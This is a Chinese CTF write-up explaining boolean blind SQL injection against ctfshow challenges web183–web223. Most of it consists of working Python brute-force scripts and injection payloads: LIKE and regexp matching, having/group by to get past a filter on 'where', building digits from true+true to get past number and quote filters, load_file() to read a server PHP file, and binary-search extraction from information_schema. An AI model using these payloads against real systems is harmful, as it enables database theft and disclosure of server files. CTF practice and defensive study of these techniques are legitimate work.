布尔盲注
盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False
本篇尽可能结合题目进行说明
like盲注
返回用户表的记录总数时,使用
like
和%通配符
爆破flag字段
以ctfshow web183为例
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
//仅返回用户表的记录总数
$user_count = 0;
POST传入 tableName=ctfshow_user 可以发现$user_count = 22;
再传入 tableName=`ctfshow_user`where(pass) 可以发现$user_count = 2;
那么接下来就是用like语句进行匹配flag,此时$user_count = 1;
脚本:
import requests
import string
url = 'http://8392eb4e-8314-4aca-a90b-af4e7fb44d06.challenge.ctf.show/select-waf.php'
uuid = string.digits + string.ascii_lowercase + "-}"
passwd = "`ctfshow_user`where(pass)like'ctfshow{"
count = 0
for i in range(40):
count += 1
print("第", count, "次执行")
for char in uuid:
data = {'tableName': passwd + f"{char}%'"}
res = requests.post(url, data=data)
if "$user_count = 1;" in res.text:
passwd += char
print(passwd)
break
regexp盲注
过滤where时,可使用
group by+ having + regexp
的方式进行注入
以ctfshow web184为例
输入与返回大致与上文的like盲注相同
过滤了where
脚本:
import requests
import string
url = 'http://7611653d-42d4-474d-a57a-14af8133bd46.challenge.ctf.show/select-waf.php'
uuid = string.digits + string.ascii_lowercase + "-}"
passwd = 'ctfshow_user group by pass having pass regexp(0x63746673686f777b' #ctfshow{
for i in range(40):
for char in uuid:
data = {'tableName': passwd + f"{hex(ord(char))[2:]})"} # 因为要拼接进前面的十六进制字符串中,所以这里从第二个开始截(去掉0x)
res = requests.post(url, data=data)
if "$user_count = 1;" in res.text:
passwd += hex(ord(char))[2:]
print(passwd)
break
无数字引号盲注
过滤数字和引号时,可用
regexp(concat(char(xxx),char(xxx)...))
以ctfshow web185 186为例
该表格为可代替数字的基础表达式,要获得更多数字就对下列值进行加减乘除即可
expression | 值 |
---|---|
false | 0 |
true | 1 |
true+true | 2 |
floor(pi()) | 3 |
ceil(pi()) | 4 |
脚本:
# @Author:Kradress
from operator import concat
import requests
import string
url = 'http://6717f27a-2912-48e6-927d-d025d0418954.challenge.ctf.show/select-waf.php'
uuid = string.digits + string.ascii_lowercase + "-}"
passwd = 'ctfshow_user group by pass having pass regexp(' #ctfshow{
flag = 'ctfshow{'
def numToStr1(str): # 使用concat连接字符得到字符串
parts = []
for s in str:
parts.append(numToStr2(s))
res = ','.join(parts)
return f"concat({res})"
def numToStr2(num): # 获取字符转换为ASCll码值为n并用n个true代替
parts = []
n = ord(num)
for i in range(n):
parts.append("true")
res = "+".join(parts)
return f"char({res})"
for i in range(40):
for char in uuid:
data = {'tableName': passwd + f"{numToStr1(flag+char)})"}
res = requests.post(url, data=data)
if "$user_count = 1;" in res.text:
flag += char
print(flag)
break
盲注读文件
使用
load_file()regexp()
的方式进行字符串匹配实现文件读取
以ctfshow web189为例
原理:
在username=0
和username=1
时分别有不同的回显
由此可以进行布尔盲注,根据回显的不同结果来注入
于是通过loadfile()
读取已知flag文件位置的内容,使用regexp()
进行匹配,匹配的结果通过if()
函数设置为返回0或1
PS:一般情况下if()
也可以替代为case
函数或使用||
、or
等
脚本:
# @Author:Kradress
from operator import concat
import requests
import string
url = 'http://92baa344-30c3-492b-a2b9-27bb3ffcc387.challenge.ctf.show/api/'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = "if(load_file('/var/www/html/api/index.php')regexp('ctfshow{" #ctfshow{
flag = 'ctfshow{'
for i in range(40):
for char in uuid:
data = {
'username' : passwd + f"{char}'),0,1)",
'password' : 0
}
res = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
passwd += char
print(passwd)
break
无数字盲注
ctfshow web223
查询语句
$sql = select * from ctfshow_user group by $username;
过滤了数字,和上面的无数字引号盲注差不多
先测试正误的回显
那么可以以passwordAUTO作为判断点来写脚本
python脚本 by boogipop
url='http://4cc7e20c-d356-4c50-b6d3-ab9282a09438.challenge.ctf.show/api/'
import requests
result=''
i=0
def getnumber(i):
num='true'
if num == 1:
return num
else:
for i in range(i-1):
num+='+true'
return num
while True:
i+=1
head=1
tail=127
while head<tail:
mid=(head+tail)>>1
# payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{getnumber(i)},true))>{getnumber(mid)},username,true)"
# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{getnumber(i)},true))>{getnumber(mid)},username,true)"
payload = f"if(ascii(substr((select flagasabc from ctfshow_flagas),{getnumber(i)},true))>{getnumber(mid)},username,true)"
data={
"u":payload
}
r=requests.get(url,params=data)
if "passwordAUTO" in r.text:
head=mid+1
else:
tail=mid
if head!=1:
result+=chr(head)
print(result)
else:
break